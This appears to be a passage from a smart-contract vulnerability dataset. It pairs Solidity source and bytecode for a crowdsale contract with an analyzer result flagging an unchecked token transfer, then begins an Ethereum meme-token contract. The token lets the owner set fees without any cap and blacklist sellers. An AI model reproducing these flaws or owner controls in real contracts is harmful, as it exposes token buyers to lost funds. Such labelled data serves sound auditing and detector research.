* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract NEXT_Crowdsale is Pausable {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
// Max amount of wei accepted in the crowdsale
uint256 public cap;
// Min amount of wei an investor can send
uint256 public minInvest;
// Crowdsale opening time
uint256 public openingTime;
// Crowdsale closing time
uint256 public closingTime;
// Crowdsale duration in days
uint256 public duration;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor() public {
rate = 1000;
wallet = 0x042d8385C3F25316418E8d3DD573a7b318375696;
token = ERC20(0x3463685d9f3b2019ff1d4A781E66FacC0E436388);
cap = 500 * 1 ether;
minInvest = 0.1 * 1 ether;
duration = 30 days;
openingTime = 1535760000; // Determined by start()
closingTime = openingTime + duration; // Determined by start()
}
/**
* @dev called by the owner to start the crowdsale
*/
function start() public onlyOwner {
openingTime = now;
closingTime = now + duration;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_forwardFunds();
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statements to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal whenNotPaused {
require(_beneficiary != address(0));
require(_weiAmount >= minInvest);
require(weiRaised.add(_weiAmount) <= cap);
require(now >= openingTime && now <= closingTime);
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
/**
* @dev Checks whether the cap has been reached.
* @return Whether the cap was reached
*/
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return now > closingTime;
}
/**
* @dev called by the owner to withdraw unsold tokens
*/
function withdrawTokens() public onlyOwner {
uint256 unsold = token.balanceOf(this);
token.transfer(owner, unsold);
}
}
|
0x608060405260043610610107576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630fb5a6b4146101125780631515bc2b1461013d5780632c4e722e1461016c578063355274ea146101975780633f4ba83a146101c25780634042b66f146101d95780634b6753bc146102045780634f9359451461022f578063521eb2731461025e5780635c975abb146102b557806363fd9e38146102e45780638456cb591461030f5780638d8f2adb146103265780638da5cb5b1461033d578063b7a8807c14610394578063be9a6555146103bf578063ec8ac4d8146103d6578063f2fde38b1461040c578063fc0c546a1461044f575b610110336104a6565b005b34801561011e57600080fd5b50610127610560565b6040518082815260200191505060405180910390f35b34801561014957600080fd5b50610152610566565b604051808215151515815260200191505060405180910390f35b34801561017857600080fd5b50610181610572565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610578565b6040518082815260200191505060405180910390f35b3480156101ce57600080fd5b506101d761057e565b005b3480156101e557600080fd5b506101ee61063c565b6040518082815260200191505060405180910390f35b34801561021057600080fd5b50610219610642565b6040518082815260200191505060405180910390f35b34801561023b57600080fd5b50610244610648565b604051808215151515815260200191505060405180910390f35b34801561026a57600080fd5b50610273610657565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102c157600080fd5b506102ca61067d565b604051808215151515815260200191505060405180910390f35b3480156102f057600080fd5b506102f9610690565b6040518082815260200191505060405180910390f35b34801561031b57600080fd5b50610324610696565b005b34801561033257600080fd5b5061033b610756565b005b34801561034957600080fd5b506103526109d2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103a057600080fd5b506103a96109f7565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b506103d46109fd565b005b61040a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104a6565b005b34801561041857600080fd5b5061044d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a6c565b005b34801561045b57600080fd5b50610464610bc1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000803491506104b68383610be7565b6104bf82610c98565b90506104d682600454610cb690919063ffffffff16565b6004819055506104e68382610cd4565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a361055b610ce2565b505050565b60095481565b60006008544211905090565b60035481565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105d957600080fd5b600060149054906101000a900460ff1615156105f457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60045481565b60085481565b60006005546004541015905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106f157600080fd5b600060149054906101000a900460ff1615151561070d57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107b357600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561087057600080fd5b505af1158015610884573d6000803e3d6000fd5b505050506040513d602081101561089a57600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561099357600080fd5b505af11580156109a7573d6000803e3d6000fd5b505050506040513d60208110156109bd57600080fd5b81019080805190602001909291905050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a5857600080fd5b426007819055506009544201600881905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ac757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610b0357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff16151515610c0357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610c3f57600080fd5b6006548110151515610c5057600080fd5b600554610c6882600454610cb690919063ffffffff16565b11151515610c7557600080fd5b6007544210158015610c8957506008544211155b1515610c9457600080fd5b5050565b6000610caf60035483610d4d90919063ffffffff16565b9050919050565b6000808284019050838110151515610cca57fe5b8091505092915050565b610cde8282610d88565b5050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610d4a573d6000803e3d6000fd5b50565b6000806000841415610d625760009150610d81565b8284029050828482811515610d7357fe5b04141515610d7d57fe5b8091505b5092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610e4d57600080fd5b505af1158015610e61573d6000803e3d6000fd5b505050506040513d6020811015610e7757600080fd5b81019080805190602001909291905050505050505600a165627a7a72305820f918797418fb113970c5b93df6308cf8b1a2d36707fced086e343ac7f86764020029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,052 |
0x449f330248dbd0d8f94fe17d09d7e3deee2f832a
|
/**
*Submitted for verification at Etherscan.io on 2022-05-04
*/
//SPDX-License-Identifier: UNLICENSED
//JERKBEZOS
//https://t.me/JerkBezos
//MaxBuy 1,050,000 tokens
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract JERKBEZOS is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 70000000 * 10**9;
string public constant name = unicode"Jerk Bezos";
string public constant symbol = unicode"JERKBEZOS";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeCollectionADD;
address public uniswapV2Pair;
uint public _buyFee = 9;
uint public _sellFee = 9;
uint private _feeRate = 9;
uint public _maxBuyTokens;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap = false;
bool public _useImpactFeeSetter = false;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event TaxAddUpdated(address _taxwallet);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable TaxAdd) {
_FeeCollectionADD = TaxAdd;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[TaxAdd] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(!_isBot[from]);
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
if((_launchedAt + (3 minutes)) > block.timestamp) {
require(amount <= _maxBuyTokens);
require((amount + balanceOf(address(to))) <= _maxHeldTokens);
}
isBuy = true;
}
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeCollectionADD.transfer(amount);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
function createPair() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyTokens = 1050000 * 10**9;
_maxHeldTokens = 2100000 * 10**9;
}
function manualswap() external {
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeCollectionADD);
require(rate > 0);
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external onlyOwner() {
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateTaxAdd(address newAddress) external {
require(_msgSender() == _FeeCollectionADD);
_FeeCollectionADD = payable(newAddress);
emit TaxAddUpdated(_FeeCollectionADD);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
function addBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function IncreasemaxTxAmount(uint256 maxTxAmount) public onlyOwner {
_maxBuyTokens = maxTxAmount;
}
function IncreaseWallet(uint256 maxWallet) public onlyOwner {
_maxHeldTokens = maxWallet;
}
}
|
0x6080604052600436106101fd5760003560e01c80636fc3eaec1161010d5780639e78fb4f116100a0578063c9567bf91161006f578063c9567bf9146105cd578063d34628cc146105e2578063db92dbb614610602578063dcb0e0ad14610617578063dd62ed3e1461063757600080fd5b80639e78fb4f14610563578063a9059cbb14610578578063b2289c6214610598578063c3c8cd80146105b857600080fd5b80637d34a0d3116100dc5780637d34a0d3146104d05780638da5cb5b146104f057806394b8d8f21461050e57806395d89b411461052e57600080fd5b80636fc3eaec1461046657806370a082311461047b578063715018a61461049b57806373f54a11146104b057600080fd5b806331c2d8471161019057806345596e2e1161015f57806345596e2e146103c257806349bd5a5e146103e2578063590f897e1461041a5780635dfba5f1146104305780636755a4d01461045057600080fd5b806331c2d8471461033d57806332d873d81461035d5780633bbac5791461037357806340b9a54b146103ac57600080fd5b80631940d020116101cc5780631940d020146102cb57806323b872dd146102e157806327f3a72a14610301578063313ce5671461031657600080fd5b806306fdde0314610209578063095ea7b3146102555780630b78f9c01461028557806318160ddd146102a757600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061023f6040518060400160405280600a8152602001694a65726b2042657a6f7360b01b81525081565b60405161024c91906117e1565b60405180910390f35b34801561026157600080fd5b5061027561027036600461185b565b61067d565b604051901515815260200161024c565b34801561029157600080fd5b506102a56102a0366004611887565b610693565b005b3480156102b357600080fd5b5066f8b0a10e4700005b60405190815260200161024c565b3480156102d757600080fd5b506102bd600d5481565b3480156102ed57600080fd5b506102756102fc3660046118a9565b61070d565b34801561030d57600080fd5b506102bd610761565b34801561032257600080fd5b5061032b600981565b60405160ff909116815260200161024c565b34801561034957600080fd5b506102a5610358366004611900565b610771565b34801561036957600080fd5b506102bd600e5481565b34801561037f57600080fd5b5061027561038e3660046119c5565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103b857600080fd5b506102bd60095481565b3480156103ce57600080fd5b506102a56103dd3660046119e2565b610807565b3480156103ee57600080fd5b50600854610402906001600160a01b031681565b6040516001600160a01b03909116815260200161024c565b34801561042657600080fd5b506102bd600a5481565b34801561043c57600080fd5b506102a561044b3660046119e2565b61089a565b34801561045c57600080fd5b506102bd600c5481565b34801561047257600080fd5b506102a56108c9565b34801561048757600080fd5b506102bd6104963660046119c5565b6108d6565b3480156104a757600080fd5b506102a56108f1565b3480156104bc57600080fd5b506102a56104cb3660046119c5565b610965565b3480156104dc57600080fd5b506102a56104eb3660046119e2565b6109d3565b3480156104fc57600080fd5b506000546001600160a01b0316610402565b34801561051a57600080fd5b50600f546102759062010000900460ff1681565b34801561053a57600080fd5b5061023f604051806040016040528060098152602001684a45524b42455a4f5360b81b81525081565b34801561056f57600080fd5b506102a5610a02565b34801561058457600080fd5b5061027561059336600461185b565b610c07565b3480156105a457600080fd5b50600754610402906001600160a01b031681565b3480156105c457600080fd5b506102a5610c14565b3480156105d957600080fd5b506102a5610c2a565b3480156105ee57600080fd5b506102a56105fd366004611900565b610e25565b34801561060e57600080fd5b506102bd610f3e565b34801561062357600080fd5b506102a5610632366004611a09565b610f56565b34801561064357600080fd5b506102bd610652366004611a26565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600061068a338484610fd3565b50600192915050565b6000546001600160a01b031633146106c65760405162461bcd60e51b81526004016106bd90611a5f565b60405180910390fd5b6009829055600a81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b600061071a8484846110f7565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610749908490611aaa565b9050610756853383610fd3565b506001949350505050565b600061076c306108d6565b905090565b6000546001600160a01b0316331461079b5760405162461bcd60e51b81526004016106bd90611a5f565b60005b8151811015610803576000600560008484815181106107bf576107bf611ac1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107fb81611ad7565b91505061079e565b5050565b6000546001600160a01b031633146108315760405162461bcd60e51b81526004016106bd90611a5f565b6007546001600160a01b0316336001600160a01b03161461085157600080fd5b6000811161085e57600080fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146108c45760405162461bcd60e51b81526004016106bd90611a5f565b600d55565b476108d3816114ae565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461091b5760405162461bcd60e51b81526004016106bd90611a5f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461098557600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d69060200161088f565b6000546001600160a01b031633146109fd5760405162461bcd60e51b81526004016106bd90611a5f565b600c55565b6000546001600160a01b03163314610a2c5760405162461bcd60e51b81526004016106bd90611a5f565b600f5460ff1615610a795760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016106bd565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610ade573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b029190611af0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b739190611af0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610bc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be49190611af0565b600880546001600160a01b0319166001600160a01b039290921691909117905550565b600061068a3384846110f7565b6000610c1f306108d6565b90506108d3816114e8565b6000546001600160a01b03163314610c545760405162461bcd60e51b81526004016106bd90611a5f565b600f5460ff1615610ca15760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016106bd565b600654610cc09030906001600160a01b031666f8b0a10e470000610fd3565b6006546001600160a01b031663f305d7194730610cdc816108d6565b600080610cf16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d59573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d7e9190611b0d565b505060085460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610dd7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfb9190611b3b565b50600f805460ff1916600117905542600e556603baf82d03a000600c55660775f05a074000600d55565b6000546001600160a01b03163314610e4f5760405162461bcd60e51b81526004016106bd90611a5f565b60005b81518110156108035760085482516001600160a01b0390911690839083908110610e7e57610e7e611ac1565b60200260200101516001600160a01b031614158015610ecf575060065482516001600160a01b0390911690839083908110610ebb57610ebb611ac1565b60200260200101516001600160a01b031614155b15610f2c57600160056000848481518110610eec57610eec611ac1565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610f3681611ad7565b915050610e52565b60085460009061076c906001600160a01b03166108d6565b6000546001600160a01b03163314610f805760405162461bcd60e51b81526004016106bd90611a5f565b600f805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb9060200161088f565b6001600160a01b0383166110355760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016106bd565b6001600160a01b0382166110965760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016106bd565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561111d57600080fd5b6001600160a01b0383166111815760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016106bd565b6001600160a01b0382166111e35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016106bd565b600081116112455760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016106bd565b600080546001600160a01b0385811691161480159061127257506000546001600160a01b03848116911614155b1561144f576008546001600160a01b0385811691161480156112a257506006546001600160a01b03848116911614155b80156112c757506001600160a01b03831660009081526004602052604090205460ff16155b1561136857600f5460ff1661131e5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016106bd565b42600e5460b461132e9190611b58565b111561136457600c5482111561134357600080fd5b600d5461134f846108d6565b6113599084611b58565b111561136457600080fd5b5060015b600f54610100900460ff161580156113825750600f5460ff165b801561139c57506008546001600160a01b03858116911614155b1561144f5760006113ac306108d6565b9050801561143857600f5462010000900460ff161561142f57600b54600854606491906113e1906001600160a01b03166108d6565b6113eb9190611b70565b6113f59190611b8f565b81111561142f57600b5460085460649190611418906001600160a01b03166108d6565b6114229190611b70565b61142c9190611b8f565b90505b611438816114e8565b47801561144857611448476114ae565b6000925050505b6001600160a01b0384166